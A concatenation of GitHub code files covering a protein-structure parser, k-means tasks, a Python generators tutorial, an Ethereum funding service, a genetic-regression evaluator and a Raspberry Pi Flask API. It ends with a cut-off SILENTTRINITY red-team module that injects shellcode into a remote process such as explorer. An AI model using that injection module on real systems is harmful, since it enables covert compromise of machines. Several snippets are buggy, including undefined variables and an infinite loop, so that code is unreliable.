self.removeHeteroDuplicated:\n structure= self.filterOutDuplicated(structure)\n return structure\n\n def filterOutDuplicated(self, structure):\n seenFlag= {}\n for model in structure:\n seenFlag[model]={}\n for chain in model:\n seenFlag[model][chain]=set([])\n for res in chain:\n resId_tuple= res.get_id()\n resNum= (\"%d%s\"%(resId_tuple[1], resId_tuple[-1])).strip()\n if resNum not in seenFlag[model][chain]:\n seenFlag[model][chain].add(resNum)\n else:\n #remove duplicated\n chain.detach_child(resId_tuple)\n return structure\n\ndef test():\n pdbFile=\"/home/rsanchez/Tesis/rriPredMethod/pyCode/webApp/rriPredWeb/media/inputExamples/1a79_l_u.pdb\"\n mmCifFile=\"/home/rsanchez/Tesis/rriPredMethod/pyCode/webApp/rriPredWeb/media/inputExamples/1acb.cif\"\n parser= myPDBParser(QUIET=True)\n struct= parser.get_structure(\"pdb\", pdbFile)\n print(struct[0].get_list())\n struct= parser.get_structure(\"mmCif\", mmCifFile)\n print(struct[0].get_list())\n return None\n\nif __name__==\"__main__\":\n test()\n","repo_name":"rsanchezgarc/BIPSPI","sub_path":"pythonTools/myPDBParser.py","file_name":"myPDBParser.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"9041956746","text":"import re\nimport seaborn as sns\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn.cluster import KMeans\n\nimport app.core.config as config\nfrom app.core.tasks import validate_input_and_get_dataframe, get_or_create_dir, generate_filename, error, ready, validate_columns_params, parse_columns\n\n\ndef run_kmeans(params):\n # common\n results = []\n job_id = params['job_id']\n res = validate_input_and_get_dataframe(params['url'], job_id)\n if not res['success']:\n return res\n df = res['dataframe']\n root = get_or_create_dir(config.DOWNLOAD_DIR, job_id)\n\n # validate params\n res = validate_columns_params(params, len(df.columns))\n if not res['success']:\n return res\n\n # specific\n columns = parse_columns(params['columns'], len(df.columns))['data']\n\n try:\n data = df.iloc[:, columns]\n model = KMeans(n_clusters=params['nclusters'])\n model.fit(data)\n labels = model.labels_ + 1\n centers = model.cluster_centers_\n clusters_df = pd.DataFrame(data=labels, columns=['Номер кластера'])\n centers_df = pd.DataFrame(data=centers, columns=data.columns)\n output_df = data.copy()\n output_df['Номер кластера'] = labels\n except Exception as e:\n return error(f'Ошибка во время работы алгоритма k-средних : {e}') \n \n # save output\n try:\n if params['file_format'] == 'CSV':\n file_path = generate_filename(root, 'summary', 'clusters.csv')\n clusters_df.to_csv(file_path, index=False)\n results.append(str(file_path))\n file_path = generate_filename(root, 'summary', 'cluster_centers.csv')\n centers_df.to_csv(file_path, index=False)\n results.append(str(file_path))\n file_path = generate_filename(root, 'summary', 'input_with_clusters.csv')\n output_df.to_csv(file_path, index=False)\n results.append(str(file_path))\n elif params['file_format'] == 'XLSX':\n file_path = generate_filename(root, 'summary', 'clusters.xlsx')\n clusters_df.to_excel(file_path, index=False)\n results.append(str(file_path))\n file_path = generate_filename(root, 'summary', 'cluster_centers.xlsx')\n centers_df.to_excel(file_path, index=False)\n results.append(str(file_path))\n file_path = generate_filename(root, 'summary', 'input_with_clusters.xlsx')\n output_df.to_excel(file_path, index=False)\n results.append(str(file_path)) \n else:\n raise AttributeError\n except Exception as e:\n return error(f'Ошибка при сохранении файла с результатом')\n return ready(results)\n\n\ndef run_kmeansscreeplot(params):\n\n # common\n results = []\n job_id = params['job_id']\n res = validate_input_and_get_dataframe(params['url'], job_id)\n if not res['success']:\n return res\n df = res['dataframe']\n root = get_or_create_dir(config.DOWNLOAD_DIR, job_id)\n\n # validate params\n res = validate_columns_params(params, len(df.columns))\n if not res['success']:\n return res\n\n # specific\n columns = parse_columns(params['columns'], len(df.columns))['data']\n \n try:\n data = df.iloc[:, columns]\n distances = []\n krange = list(range(1, params['max_clusters'] + 1))\n for k in krange:\n model = KMeans(n_clusters=k)\n model.fit(data)\n distances.append(model.inertia_)\n except Exception as e:\n return error(f'Ошибка во время работы алгоритма k-средних : {e}') \n \n try:\n data = df.iloc[:, columns]\n title = f'Каменистая осыпь:\\n��одбор оптимального k'\n image_format = params['image_format'].lower()\n name = f'Columns {\", \".join([str(c) for c in columns])}'\n filename = f'{name}.{image_format}'\n file_path = generate_filename(root, 'KmeansScreePlot', filename)\n sns.set()\n fig, ax = plt.subplots()\n sns.lineplot(x=krange, y=distances, ax=ax, marker='o')\n ax.set_title(title)\n ax.set_xlabel('Количество кластеров')\n ax.set_ylabel('Сумма квадратов расстояний')\n fig.savefig(file_path, dpi=int(params['image_dpi']), bbox_inches = \"tight\")\n results.append(str(file_path))\n except Exception as e:\n return error(f'Ошибка при сохранении изображений с результатом : {e}')\n \n return ready(results)\n\n","repo_name":"sgm-projects/sgm-analysis-computing-node","sub_path":"app/methods/clustering/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":4700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26321916953","text":"'''\nGenerators are a type of iterable, like lists or tuples.\nUnlike lists, they don't allow indexing with arbitrary indices, but they can\nstill be iterated through with for loop.\nThey can be created using functions and the yield statement.\n'''\ndef countdown():\n i= 5\n while i > 0:\n yield i\n i -=1\nfor i in countdown():\n print(i)\n \n\n#\ndef countdown(i):\n while i > 0:\n yield i\n i -= 1\nfor i in countdown(i):\n print(list(countdown(9)))\n \n# \ndef countdown(i):\n while i > 0:\n yield i\n i -= 1\nfor i in countdown(9):\n print(list(countdown(9)))\n#\ndef countdown(i):\n while i > 0:\n yield i\n i -= 1\nfor i in countdown(9):\n print(list(countdown(i)))\n \n'''\nDue to the fact that they yield one item at a time, generators don't have the memory restrictions of lists.\nin fact, they can be infinite\n'''\ndef infinite_sevens():\n while True:\n yield 7\nfor i in infinite_sevens():\n print(i)\n'''\nIn short, generators aloow you to declaire a function that behaves like an iterator,\ni.e. it can be used in a for loop\n\nthe generator creates and then \"yields\" only one value at a time. This saves time in creating \nbecause instead of the entire list being created before passing,\nonly one value is created then passed. Also saves space because only one the current exists.\n'''\n\ndef numbers(x):\n for i in range(x):\n if i % 2 == 0:\n yield i\n \nprint(list(numbers(11)))\n'''\nusing generators results in improved performance, which is the result of a lazy\n(on damand)generation of values, which translates to lower memory usage. Furthermore, we do not need to wait\nuntil all the elements have been generated before we start to use them.\n'''\n\n\n#practice\n'''\ncreate a generator function that splits the string into separate words and outputs the resulting list\n'''\n\nsentence =input('請輸入字串: ')\ndef strsplit():\n for w in sentence:\n sentence.split()\n yield w\n \nprint(list(strsplit())) #['h', 'e', 'l', 'l', 'o', ' ', 'w', 'o', 'r', 'l', 'd']\n\n\n\n\ntxt = input('請輸入字串: ')\n\ndef words():\n for w in txt.split():\n yield w\n \nprint(list(words())) #['hello', 'world']\n\n\n\n#練習\nworld = input('請輸入單字: ')\ndef make_world():\n word =\"\"\n for ch in world:\n word += ch\n yield word\nprint(list(make_world()))\n\n\n#\n\ndef make_world():\n word =\"\"\n for ch in \"spam\":\n word += ch\n yield word\nprint(list(make_world()))\n \n","repo_name":"Gisellechen0115/functions","sub_path":"Generators.py","file_name":"Generators.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37272153845","text":"from logging import getLogger\n\nfrom django.conf import settings\n\nfrom eth_account import Account\nfrom redis import Redis\nfrom web3 import Web3\n\nfrom gnosis.eth import EthereumClient, EthereumClientProvider\n\nfrom safe_relay_service.gas_station.gas_station import (GasStation,\n GasStationProvider)\n\nfrom ..repositories.redis_repository import EthereumNonceLock, RedisRepository\n\nlogger = getLogger(__name__)\n\n\nclass FundingServiceException(Exception):\n pass\n\n\nclass EtherLimitExceeded(FundingServiceException):\n pass\n\n\nclass FundingServiceProvider:\n def __new__(cls):\n if not hasattr(cls, 'instance'):\n cls.instance = FundingService(EthereumClientProvider(), GasStationProvider(),\n RedisRepository().redis,\n settings.SAFE_FUNDER_PRIVATE_KEY, settings.SAFE_FUNDER_MAX_ETH)\n return cls.instance\n\n @classmethod\n def del_singleton(cls):\n if hasattr(cls, \"instance\"):\n del cls.instance\n\n\nclass FundingService:\n def __init__(self, ethereum_client: EthereumClient, gas_station: GasStation, redis: Redis,\n funder_private_key: str, max_eth_to_send: int):\n self.ethereum_client = ethereum_client\n self.gas_station = gas_station\n self.redis = redis\n self.funder_account = Account.from_key(funder_private_key)\n self.max_eth_to_send = max_eth_to_send\n\n def send_eth_to(self, to: str, value: int, gas: int = 22000, gas_price=None,\n retry: bool = False, block_identifier='pending'):\n if not gas_price:\n gas_price = self.gas_station.get_gas_prices().standard\n\n if self.max_eth_to_send and value > Web3.toWei(self.max_eth_to_send, 'ether'):\n raise EtherLimitExceeded('%d is bigger than %f' % (value, self.max_eth_to_send))\n\n with EthereumNonceLock(self.redis, self.ethereum_client, self.funder_account.address,\n lock_timeout=60 * 2) as tx_nonce:\n return self.ethereum_client.send_eth_to(self.funder_account.key, to, gas_price, value,\n gas=gas,\n retry=retry,\n block_identifier=block_identifier,\n nonce=tx_nonce)\n","repo_name":"vaporyorg/safe-relay-service","sub_path":"safe_relay_service/relay/services/funding_service.py","file_name":"funding_service.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33231445576","text":"# Base Library Imports\nimport sys\nfrom statistics import mean\n\n# Other imports\nimport numpy as np\n\n# Simpgenalg imports\nfrom simpgenalg.evaluators.basics import basicEvaluator\n\n# Tensorflow imports\nfrom tensorflow import cast as tf_cast, \\\n constant as tf_constant, \\\n convert_to_tensor, is_tensor, float32, shape\n\n\n\ntry:\n from scipy.spatial.distance import squareform, pdist\nexcept:\n pass\n\nclass regressionEvaluator(basicEvaluator):\n\n __slots__ = ('header', \\\n 'train_feats', 'train_lbls', \\\n 'test_feats', 'test_lbls', \\\n 'loss_metric', 'L1', 'L2', \\\n 'encode_toggles', \\\n 'encode_exponents', 'exponents_keep_sign',\\\n 'track_weight_diversity', 'calc_test_loss',\\\n 'min_weight', 'max_weight')\n\n ''' Setup '''\n def __init__(self, *args, **kargs):\n\n # Initialize basic evaluator and basic component\n super().__init__(*args, **kargs)\n\n # Load in the data\n self.load_data(*args, **kargs)\n\n # LOADS PARAMETERS (Will check kargs before config)\n if 'min_weight' in kargs:\n self.min_weight = kargs.get('min_weight')\n else:\n self.min_weight = self.config.get('min_weight', dtype=(int, float))\n\n if 'max_weight' in kargs:\n self.max_weight = kargs.get('max_weight')\n else:\n self.max_weight = self.config.get('max_weight', dtype=(int, float))\n\n # Raise an error if the min_weight is greq the max weight\n if self.min_weight >= self.max_weight:\n raise ValueError('min_weight must be less than max_weight')\n\n if 'L1' in kargs:\n self.L1 = kargs.get('L1')\n else:\n self.L1 = self.config.get('L1', 0.0, mineq=0, dtype=(float,int))\n\n if 'L2' in kargs:\n self.L2 = kargs.get('L2')\n else:\n self.L2 = self.config.get('L2', 0.0, mineq=0, dtype=(float,int))\n\n if 'encode_toggles' in kargs:\n self.encode_toggles = kargs.get('encode_toggles')\n else:\n self.encode_toggles = self.config.get('encode_toggles', True, dtype=bool)\n\n if 'encode_exponents' in kargs:\n self.encode_exponents = kargs.get('encode_exponents')\n else:\n self.encode_exponents = \\\n self.config.get('encode_exponents', False, dtype=bool)\n\n if 'exponents_keep_sign' in kargs:\n self.exponents_keep_sign = kargs.get('exponents_keep_sign')\n else:\n self.exponents_keep_sign = \\\n self.config.get('exponents_keep_sign', True, dtype=bool)\n\n\n needed_genes = self._determine_n_needed_genes()\n n_genes = self.config.get('num_genes', needed_genes, dtype=int, min=0)\n if n_genes != needed_genes:\n raise ValueError(f'Neded at least {needed_genes} with given params,'\\\n 'not {n_genes}')\n\n if 'track_weight_diversity' in kargs:\n self.track_weight_diversity = kargs.get('track_weight_diversity')\n else:\n self.track_weight_diversity = \\\n self.config.get('track_weight_diversity', True, dtype=bool)\n\n if 'calc_test_loss' in kargs:\n self.calc_test_loss = kargs.get('calc_test_loss')\n else:\n self.calc_test_loss = \\\n self.config.get('calc_test_loss', False, dtype=bool)\n\n def load_data(self, *args, **kargs):\n # Converts passed data to tensor if not already a tensor\n def convert_to_tensor_if_not_tensor(data):\n if not is_tensor(data):\n return convert_to_tensor(data, float32)\n return data\n\n self.header = kargs.get('header')\n if self.header is None:\n self.header = self.config.get('header', None)\n\n # Load in train feats and train lbls\n self.train_feats = kargs.get('train_feats')\n if self.train_feats is None:\n self.train_feats = self.config.get('train_feats')\n\n self.train_lbls = kargs.get('train_lbls')\n if self.train_lbls is None:\n self.train_lbls = self.config.get('train_lbls')\n\n # Make sure it is a tensor\n self.train_feats = convert_to_tensor_if_not_tensor(self.train_feats)\n self.train_lbls = convert_to_tensor_if_not_tensor(self.train_lbls)\n\n # Load in the feats/lbls for test\n self.test_feats = kargs.get('test_feats')\n if self.test_feats is None:\n self.test_feats = self.config.get('test_feats')\n\n self.test_lbls = kargs.get('test_lbls')\n if self.test_lbls is None:\n self.test_lbls = self.config.get('test_lbls')\n\n # If provided test feats or test lbls but not the other raise an error\n if self.test_feats is None or self.test_lbls is None and \\\n (self.test_feats is not None or self.test_lbls is not None):\n raise ValueError('Must provide both test_feats and test_lbls')\n elif self.test_feats is not None and self.test_lbls is not None:\n # Make sure it is a tensor\n self.test_feats = convert_to_tensor_if_not_tensor(self.test_feats)\n self.test_lbls = convert_to_tensor_if_not_tensor(self.test_lbls)\n\n return\n\n # _determine_n_needed_genes\n # - Returns the number (int) of genes required for the fitfxn\n # Outputs:\n # - number (int) of genes required to run\n def _determine_n_needed_genes(self):\n # Get number of weights ( equal to # of feats ) + 1 for constant\n n_feats = int(shape(self.train_feats)[1])\n n_needed = n_feats + 1\n\n # Add an extra value per feature if toggles or exponents\n if self.encode_toggles:\n n_needed += n_feats\n if self.encode_exponents:\n n_needed += n_feats\n return n_needed\n\n # _decode_exponent\n # - Given a value, returns respective exponent (1,2,3,4)\n # Inputs:\n # - Val = Value we are converting\n # - vmin = Minimum value possible\n # - vrange = Range of possible values\n # Outputs:\n # - exp (float) = 1.0,2.0,3.0,4.0\n @staticmethod\n def _decode_exponent(val, vmin, vrange):\n v = (val-vmin)/vrange\n if v < 0.50:\n return 1.0 if v < 0.25 else 2.0\n else:\n return 3.0 if v < 0.75 else 4.0\n\n # _decode_batch\n # - Given a list of individuals, returns a list of decoded sets of weights\n # Inputs:\n # - btch = list object of individuals\n # Outputs:\n # - processed_indvs = list of decoded individuals' weights\n def _decode_batch(self, btch):\n\n # Get information about weights\n min_w, max_w = self.min_weight, self.max_weight\n range_w = max_w - min_w\n\n # Get information about features\n n_feats, header = self.train_feats.shape[1], self.header\n\n # See if we are using toggles or exponents\n encode_toggles, encode_exponents, keep_signs = \\\n self.encode_toggles, self.encode_exponents, self.exponents_keep_sign\n\n def decode(indv):\n # Get minimum value encodable and range\n vmin, vrange = indv.get_valmin(), indv.get_valrange()\n\n # Map\n mapped = indv.get_mapped()\n\n # Create dictionary to store stats\n decode_stats = {}\n\n indx = 1 + n_feats\n constant = (mapped[0] - vmin / vrange)*range_w\n decode_stats['constant'] = constant\n weights = [(((v-vmin)/vrange)*range_w)+min_w for v in mapped[1:indx]]\n\n if encode_toggles:\n last_indx, indx = indx, indx+n_feats\n\n toggles = [v > 0 for v in mapped[last_indx:indx]]\n decode_stats['n_toggles'] = toggles.count(True)\n\n for i, toggle in enumerate(toggles):\n if not toggle:\n weights[i] = 0\n\n # Record weights\n if header is None:\n decode_stats.update({f'toggle_{i}':tog \\\n for i, tog in enumerate(toggles)})\n else:\n decode_stats.update({f'toggle_{i}_{header[i]}':tog \\\n for i, tog in enumerate(toggles)})\n\n if encode_exponents:\n # Determine indicies\n last_indx, indx = indx, indx+n_feats\n\n # Calculate exponents\n _decode_exponent = self._decode_exponent\n exps = [_decode_exponent(v, vmin, vrange) \\\n for v in mapped[last_indx:indx]]\n\n if keep_signs:\n for i, exp in enumerate(exps):\n if weights[i] != 0 and exp != 1:\n weights[i] = (weights[i] ** exp) \\\n if weights[i] > 0 else \\\n -(weights[i] ** exp)\n else:\n for i, exp in enumerate(exps):\n if weights[i] != 0 and exp != 1:\n weights[i] = weights[i] ** exp\n\n if header is None:\n decode_stats.update({f'exponent_{i}':exp \\\n for i, exp in enumerate(exponents)})\n else:\n decode_stats.update({f'exponent_{i}_{header[i]}':exp \\\n for i, exp in enumerate(exponents)})\n\n if header is None:\n decode_stats.update({f'weight_{i}':w \\\n for i, w in enumerate(weights)})\n else:\n decode_stats.update({f'weight_{i}_{header[i]}':w \\\n for i, w in enumerate(weights)})\n\n decode_stats['w_lst'] = weights\n\n return (indv, constant, weights, decode_stats)\n\n return [decode(indv) for indv in btch]\n\n def _compare_weight_distance(self, processed):\n if 'scipy' not in sys.modules:\n self.log.exception('Scipy needed to find distance between '+\\\n 'individuals.', err=ModuleNotFoundError)\n\n dist_mat = squareform(pdist([[x[1]]+x[2] for x in processed]))\n\n for i, (indv, constant, weights, decode_stats) in enumerate(processed):\n indv.set_attr('avg_w_dist',mean(dist_mat[i]))\n\n # Different cache functions\n def _get_none(self, constant, weights):\n return None\n def _get_bcache(self, constant, weights):\n key = (constant if isinstance(constant, float) else float(constant),\\\n weights if isinstance(weights, tuple) else \\\n tuple([float(w) for w in weights]))\n return self.cache.get(key, self.sCache.get(key,None))\n def _get_scache(self, constant, weights):\n key = (constant if isinstance(constant, float) else float(constant),\\\n weights if isinstance(weights, tuple) else \\\n tuple([float(w) for w in weights]))\n return self.sCache.get(key, None)\n def _get_ncache(self, constant, weights):\n key = (constant if isinstance(constant, float) else float(constant),\\\n weights if isinstance(weights, tuple) else \\\n tuple([float(w) for w in weights]))\n return self.cache.get(key, None)\n def _set_none(self, constant, weights, fit, stats):\n return None\n def _set_bcache(self, constant, weights, fit, stats):\n key = (constant if isinstance(constant, float) else float(constant),\\\n weights if isinstance(weights, tuple) else \\\n tuple([float(w) for w in weights]))\n self.cache[key] = (fit, stats)\n self.sCache[key] = (fit, stats)\n def _set_scache(self, constant, weights, fit, stats):\n key = (constant if isinstance(constant, float) else float(constant),\\\n weights if isinstance(weights, tuple) else \\\n tuple([float(w) for w in weights]))\n self.sCache[key] = (fit, stats)\n def _set_ncache(self, constant, weights, fit, stats):\n key = (constant if isinstance(constant, float) else float(constant),\\\n weights if isinstance(weights, tuple) else \\\n tuple([float(w) for w in weights]))\n self.cache[key] = (fit, stats)\n\n # Evaluates a singular individual\n def evaluate(self, indv):\n raise NotImplementedError\n\n # Evaluates a batch of indvs\n def evaluate_batch(self, btch, **kargs):\n # Decode the batch\n decoded = self._decode_batch(btch)\n # Get the evaluation fxn\n eval = self.evaluate\n # Iterate trhough\n for indv, c, w, stats in decoded:\n # Evaluate the individual, supply constant weights and stats\n eval(indv, constant=c, weights=w, stats=stats)\n # Compare weights\n if self.track_weight_diversity:\n try:\n dist_mat = squareform(pdist([[c]+w \\\n for indv,c,w,stats in decoded]))\n for i, (indv, constant, weights, stats) in enumerate(decoded):\n indv.set_attr('avg_w_dist',dist_mat[i].mean())\n except Exception as e:\n self.log.exception(str(e))\n raise Exception('Failed to perform weight distance')\n return\n # End of evaluate_batch\n\n @classmethod\n def predict(cls, c, w, feats):\n raise NotImplementedError\n\n # Returns a score depending on quality\n @classmethod\n def score(cls, preds=None, lbls=None, c=None, w=None, feats=None):\n raise NotImplementedError\n","repo_name":"StephenMal/genetic_regression","sub_path":"genreg/basic_regfit.py","file_name":"basic_regfit.py","file_ext":"py","file_size_in_byte":13825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70209217361","text":"#\n# Problem 2. Even Fibonacci numbers\n# Link : https://projecteuler.net/problem=2\n#\n\n# Define 'Cal' function to calculate result value\ndef Cal():\n fibo = [1, 2] # Set initial Fibonacci numbers\n result = 0\n\n # Loop for get fibonacci numbers\n for i in range(1, 4000000):\n fibo_temp = fibo[i-1] + fibo[i]\n if fibo_temp > 4000000:\n break\n fibo.append(fibo_temp)\n\n # Add only Even\n for n in fibo:\n if n % 2 == 0:\n result += n\n\n return result\n\nif __name__ == '__main__':\n print(Cal())","repo_name":"LCS0613/Euler-projects-python","sub_path":"Problems & Solution/Problem 2.py","file_name":"Problem 2.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26151271516","text":"#!/usr/bin/python3\nfrom flask import Flask, request, jsonify\nfrom flask_restful import Resource, Api\nfrom json import dumps\nfrom threading import Timer\nimport automationhat\nimport RPi.GPIO as GPIO\n\napp = Flask(__name__)\napi = Api(app)\n\n# Define some spare pins in addition to the pins used by the Automation Hat\nPORCH_LIGHT_PIN = 17\n# Unused pins for later use\nSPARE1_PIN = 27\nSPARE2_PIN = 22\n# SPARE3_PIN = 23\n# SPARE4_PIN = 24\n# SPARE5_PIN = 25\n\ndef Setup():\n # Turn on the automation hat power light\n if automationhat.is_automation_hat():\n automationhat.light.power.write(1)\n # Automation Hat BCM pins used\n #RELAY_1 = 13 RELAY_2 = 19 RELAY_3 = 16\n #INPUT_1 = 26 INPUT_2 = 20 INPUT_3 = 21\n #OUTPUT_1 = 5 OUTPUT_2 = 12 OUTPUT_3 = 6\n\n GPIO.setwarnings(True)\n # Use the broadcom pin layout\n GPIO.setmode(GPIO.BCM)\n # Setup some additional pins\n GPIO.setup(PORCH_LIGHT_PIN, GPIO.OUT, initial=GPIO.LOW)\n GPIO.setup(SPARE1_PIN, GPIO.OUT, initial=GPIO.LOW)\n GPIO.setup(SPARE2_PIN, GPIO.OUT, initial=GPIO.LOW)\n\n# Helper functions\n# ================\n\n# Turn's on both of the Automation Hat LED's, used to indicate a POST operaton\ndef turnOnLeds():\n if automationhat.is_automation_hat():\n automationhat.light.comms.on()\n automationhat.light.warn.on()\n\n# Turn's on the Automation Hat Comms LED, used to indicate a GET operaton\ndef turnOnCommsLed():\n if automationhat.is_automation_hat():\n automationhat.light.comms.on()\n\ndef turnOffCommsLed():\n if automationhat.is_automation_hat():\n automationhat.light.comms.off()\n\ndef turnOffWarnLed():\n if automationhat.is_automation_hat():\n automationhat.light.warn.off()\n\n# Turn's off the Automation Hat LED's after a specified time delay in seconds\ndef turnOffLeds(commsLedTime, warnLedTime = None):\n if automationhat.is_automation_hat():\n t = Timer(commsLedTime, turnOffCommsLed)\n t.start()\n if warnLedTime is not None:\n t2 = Timer(warnLedTime, turnOffWarnLed)\n t2.start()\n\n# Translate the state attribute\ndef getStateFromAttribute(obj, attrName):\n state = obj.get(attrName, None)\n #print('state: {}'.format(state))\n if state == 1 or state == '1' or state == 'on':\n state = 1\n elif state == 0 or state == '0' or state == 'off':\n state = 0\n else:\n state = None\n return state\n\n\n# Web API functions\n# ================\n\n# Process the entering or exiting of a geofence location\nclass Location(Resource):\n def post(self):\n content = request.get_json()\n print('post body: {}'.format(content))\n location = content.get('location', None)\n turnOnLeds()\n\n if location == 'entered':\n GPIO.output(PORCH_LIGHT_PIN, 1)\n elif location == 'exited':\n GPIO.output(PORCH_LIGHT_PIN, 0)\n \n porchLight = GPIO.input(PORCH_LIGHT_PIN)\n turnOffLeds(0.5, 1.0) \n return { 'porchLight':porchLight }\n\n# Gets and sets the state of the additional pins\nclass OutputPins(Resource):\n def get(self):\n turnOnCommsLed()\n porchLight = GPIO.input(PORCH_LIGHT_PIN)\n spare1 = GPIO.input(SPARE1_PIN)\n spare2 = GPIO.input(SPARE2_PIN)\n turnOffLeds(0.5)\n return { 'porchLight':porchLight, 'spare1':spare1, 'spare2':spare2 }\n\n def post(self):\n content = request.get_json()\n print('post body: {}'.format(content))\n porchLight = getStateFromAttribute(content, 'porchLight')\n spare1 = getStateFromAttribute(content, 'spare1')\n spare2 = getStateFromAttribute(content, 'spare2')\n turnOnLeds()\n\n if porchLight is not None:\n GPIO.output(PORCH_LIGHT_PIN, porchLight)\n if spare1 is not None:\n GPIO.output(SPARE1_PIN, spare1)\n if spare2 is not None:\n GPIO.output(SPARE2_PIN, spare2)\n \n porchLight = GPIO.input(PORCH_LIGHT_PIN)\n spare1 = GPIO.input(SPARE1_PIN)\n spare2 = GPIO.input(SPARE2_PIN)\n turnOffLeds(0.5, 1.0) \n return { 'porchLight':porchLight, 'spare1':spare1, 'spare2':spare2 }\n\n# Get the state of the Automation Hat's ADC pins\nclass Analog(Resource):\n def get(self):\n if automationhat.is_automation_hat():\n automationhat.light.comms.on()\n one = automationhat.analog.one.read()\n two = automationhat.analog.two.read()\n three = automationhat.analog.three.read()\n turnOffLeds(0.5) \n return { 'one':one, 'two': two, 'three':three }\n else:\n return { 'error':'Automation Hat not found!' }, 500\n\n# Get the state of the Automation Hat's digital input pins\nclass Input(Resource):\n def get(self):\n if automationhat.is_automation_hat():\n automationhat.light.comms.on()\n one = automationhat.input.one.read()\n two = automationhat.input.two.read()\n three = automationhat.input.three.read()\n turnOffLeds(0.5) \n return { 'one':one, 'two': two, 'three':three }\n else:\n return { 'error':'Automation Hat not found!' }, 500\n\n# Gets and sets the state of the Automation Hat's buffered digital output pins\nclass Output(Resource):\n def get(self):\n if automationhat.is_automation_hat():\n automationhat.light.comms.on()\n one = automationhat.output.one.read()\n two = automationhat.output.two.read()\n three = automationhat.output.three.read()\n turnOffLeds(0.5) \n return { 'one':one, 'two': two, 'three':three }\n else:\n return { 'error':'Automation Hat not found!' }, 500\n\n def post(self):\n content = request.get_json()\n print('post body: {}'.format(content))\n one = getStateFromAttribute(content, 'one')\n two = getStateFromAttribute(content, 'two')\n three = getStateFromAttribute(content, 'three')\n\n if automationhat.is_automation_hat():\n automationhat.light.comms.on()\n automationhat.light.warn.on()\n if one is not None:\n automationhat.output.one.write(one)\n if two is not None:\n automationhat.output.two.write(two)\n if three is not None:\n automationhat.output.three.write(three)\n\n turnOffLeds(0.5, 1.0) \n one = automationhat.output.one.read()\n two = automationhat.output.two.read()\n three = automationhat.output.three.read()\n return { 'one':one, 'two': two, 'three':three }\n else:\n return { 'error':'Automation Hat not found!' }, 500\n\n# Gets and sets the state of the Automation Hat's relay output pins\nclass Relay(Resource):\n def get(self):\n if automationhat.is_automation_hat():\n automationhat.light.comms.on()\n one = automationhat.relay.one.read()\n two = automationhat.relay.two.read()\n three = automationhat.relay.three.read()\n turnOffLeds(0.5) \n return { 'one':one, 'two': two, 'three':three }\n else:\n return { 'error':'Automation Hat not found!' }, 500\n\n def post(self):\n content = request.get_json()\n print('post body: {}'.format(content))\n one = getStateFromAttribute(content, 'one')\n two = getStateFromAttribute(content, 'two')\n three = getStateFromAttribute(content, 'three')\n\n if automationhat.is_automation_hat():\n automationhat.light.comms.on()\n automationhat.light.warn.on()\n if one is not None:\n automationhat.relay.one.write(one)\n if two is not None:\n automationhat.relay.two.write(two)\n if three is not None:\n automationhat.relay.three.write(three)\n turnOffLeds(0.5, 1.0) \n\n one = automationhat.relay.one.read()\n two = automationhat.relay.two.read()\n three = automationhat.relay.three.read()\n return { 'one':one, 'two': two, 'three':three }\n else:\n return { 'error':'AutomationHat not found!' }, 500\n\n\n# Define the routes\napi.add_resource(Location, '/api/location')\napi.add_resource(OutputPins, '/api/outputpins')\napi.add_resource(Input, '/api/input')\napi.add_resource(Analog, '/api/analog')\napi.add_resource(Output, '/api/output')\napi.add_resource(Relay, '/api/relay')\n\n# Start the server\nif __name__ == '__main__':\n print(\"Starting Server...\")\n try: \n Setup()\n app.run(host= '0.0.0.0', port=5002)\n \n except KeyboardInterrupt: \n # here you put any code you want to run before the program \n # exits when you press CTRL+C \n print(\"\\nKeyboard interrupted the server\")\n \n # except: \n # # this catches ALL other exceptions including errors. \n # # You won't get any error messages for debugging \n # # so only use it once your code is working \n # print(\"\\nOther error or exception occurred!\")\n \n finally:\n print(\"\\nScript exited\")\n # GPIO.cleanup is actually handled by the Automation Hat library\n # print(\"\\nCleaning up\")\n # GPIO.cleanup() # this ensures a clean exit ","repo_name":"chrisckc/AutomationHatWebApi","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":9232,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"33850855736","text":"import os\nfrom silenttrinity.core.utils import shellcode_to_int_byte_array, get_path_in_package\nfrom silenttrinity.core.teamserver.module import Module\n\n\nclass STModule(Module):\n def __init__(self):\n self.name = 'boo/shellcode'\n self.language = 'boo'\n self.description = 'Injects shellcode using the specified technique'\n self.author = '@byt3bl33d3r'\n self.references = []\n self.options = {\n 'Shellcode': {\n 'Description' : 'Path to shellcode',\n 'Required' : True,\n 'Value' : ''\n },\n 'Process': {\n 'Description' : 'Process to inject into. [Not used if PID is set to value other than 0]',\n 'Required' : False,\n 'Value' : 'explorer'\n },\n 'PID': {\n 'Description' : 'PID to inject into. [Will use ProcessName if 0]',\n 'Required' : False,\n 'Value' : '0' \n },\n 'InjectionMethod': {\n 'Description' : 'Injection Method',\n 'Required' : False,\n 'Value' : 'InjectRemote'\n }\n }\n\n def payload(self):\n shellcode_path = os.path.expanduser(self.options['Shellcode']['Value'])\n if os.path.exists(shellcode_path):\n with open(shellcode_path, 'rb') as shellcode:\n if self.options['InjectionMethod']['Value'] == 'InjectRemote':\n with open(get_path_in_package('core/teamserver/modules/boo/src/injectremote.boo'), 'r') as module_src:\n shellcode = shellcode_to_int_byte_array(shellcode.read())\n src = module_src.read()\n src = src.replace('BYTES', shellcode)\n src = src.replace('PROCESS', self.options['Process']['Value'])\n src = src.replace('PID', self.options['PID']['Value'])\n return src\n\n elif self.options['InjectionMethod']['Value'] == 'QueueUserAPC':\n raise NotImplemented\n\n elif 